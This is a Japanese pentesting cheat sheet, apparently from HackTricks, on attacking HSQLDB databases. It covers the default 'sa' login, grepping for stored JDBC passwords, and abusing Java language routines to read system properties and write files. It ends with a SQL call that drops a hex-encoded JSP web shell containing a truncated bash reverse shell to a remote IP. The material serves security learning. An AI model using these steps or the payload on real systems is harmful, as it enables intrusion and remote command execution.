AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
# 基本情報 HSQLDB([HyperSQL DataBase](http://hsqldb.org/))はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。 **デフォルトポート:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # 情報 ### デフォルト設定 このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。 デフォルトの資格情報は通常、パスワードが空白の`sa`です。 他のサービスを悪用した場合、可能な資格情報を検索するには ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` データベース名を注意深く覚えておいてください。接続するために必要になります。 # 情報収集 HSQLDBを[ダウンロード](https://sourceforge.net/projects/hsqldb/files/)して`hsqldb/lib/hsqldb.jar`を展開し、`java -jar hsqldb.jar`を実行してGUIアプリ(eww)を使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。 リモートシステムの場合、接続URLは次のようになります:`jdbc:hsqldb:hsql://ip/DBNAME`。 # コツ ## Java言語ルーチン HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。 JRTは`functions`または`procedures`になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これは`VALUES`ステートメントを使用して呼び出されます。 Javaメソッドがvoidを返す場合、`CALL`ステートメントで呼び出されるプロシージャを使用する必要があります。 ## Javaシステムプロパティの読み取り 関数を作成する: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` 実行機能: ```text VALUES(getsystemproperty('user.name')) ``` 以下は、システムプロパティの[リストをこちらで確認できます](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。 ## ファイルへの内容書き込み `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、JDKにある(アプリケーションのクラスパスに自動的にロードされる)カスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。**最大サイズ1024バイトに注意してください**。 プロシージャの作成: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` 手順を実行する: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。